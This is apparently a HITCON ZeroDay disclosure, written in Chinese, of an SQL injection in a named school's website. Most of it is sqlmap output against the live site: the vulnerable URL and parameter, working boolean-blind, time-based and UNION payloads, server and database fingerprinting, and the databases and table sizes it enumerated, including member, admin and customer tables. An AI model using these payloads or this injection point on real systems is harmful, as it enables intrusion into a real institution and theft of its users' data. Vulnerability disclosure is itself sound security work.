奥莱尔双语学校SQL漏洞 - HITCON ZeroDay

奥莱尔双语学校SQL
SQL位置：
http://www.cornell.tyc.edu.tw/charact.php?id=39

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 79 HTTP(s) requests:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=39 AND 9160=9160

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=39 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=-4551 UNION ALL SELECT NULL,NULL,CONCAT(0x716a627871,0x644650745057776e7377687769526e4757704d765179544249667378704d4654744f73466d77564f,0x7170787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- lSVL

[22:50:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)
web application technology: Apache 2.2.22
back-end DBMS: MySQL >= 5.0.12
[22:50:22] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.cornell.tyc.edu.tw'

确认影响库：（3个）
available databases [3]:
[] cornell
[] information_schema
[*] test

[22:51:17] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.cornell.tyc.edu.tw'

查看数据量：
Database: cornell
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| goods_img | 199320 |
| member_log | 26456 |
| goods_img3 | 3938 |
| goods_img2 | 3284 |
| product | 1062 |
| member | 963 |
| sms_history | 266 |
| product1 | 117 |
| productclass | 92 |
| faq | 82 |
| contactus1 | 46 |
| productclass1 | 46 |
| download | 18 |
| suite | 16 |
| project | 15 |
| about_manage | 13 |
| news | 12 |
| link | 10 |
| attribute1 | 8 |
| downloadclass | 8 |
| projectclass | 8 |
| attribute2 | 7 |
| contactus | 6 |
| contactus2 | 5 |
| admin | 3 |
| attribute | 3 |
| myorders | 3 |
| mytype | 3 |
| mytype1 | 3 |
| suite_group | 3 |
| controltype | 2 |
| member_group | 2 |
| mytype2 | 2 |
| newsclass | 2 |
| sms_text | 2 |
| yesorno | 2 |
| admin_group | 1 |
| book | 1 |
| company | 1 |
| mails | 1 |
| setup | 1 |
+---------------------------------------+---------+

Database: test
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| address | 379 |
| customer | 291 |
| courses_regist | 130 |
| courses_date | 95 |
| courses | 88 |
| news | 46 |
| album_img | 37 |
| knowledge | 32 |
| suite | 23 |
| goods | 14 |
| banner | 6 |
| goods_level | 6 |
| suite_group | 6 |
| links | 5 |
| download | 4 |
| about_us | 3 |
| album | 3 |
| courses_status | 3 |
| download_type | 2 |
| message | 2 |
| new1 | 2 |
| admin | 1 |
| admin_group | 1 |
| banner_set | 1 |
| books | 1 |
| core | 1 |
| fbook_file | 1 |
| message_schedule | 1 |
| seo | 1 |
+---------------------------------------+---------+

Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 1218 |
| SESSION_VARIABLES | 329 |
| GLOBAL_VARIABLES | 317 |
| GLOBAL_STATUS | 312 |
| SESSION_STATUS | 312 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197 |
| COLLATIONS | 197 |
| PARTITIONS | 110 |
| TABLES | 110 |
| STATISTICS | 98 |
| KEY_COLUMN_USAGE | 67 |
| TABLE_CONSTRAINTS | 67 |
| CHARACTER_SETS | 39 |
| PLUGINS | 23 |
| SCHEMA_PRIVILEGES | 18 |
| ENGINES | 9 |
| SCHEMATA | 3 |
| PROCESSLIST | 1 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+

[22:52:43] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.cornell.tyc.edu.tw'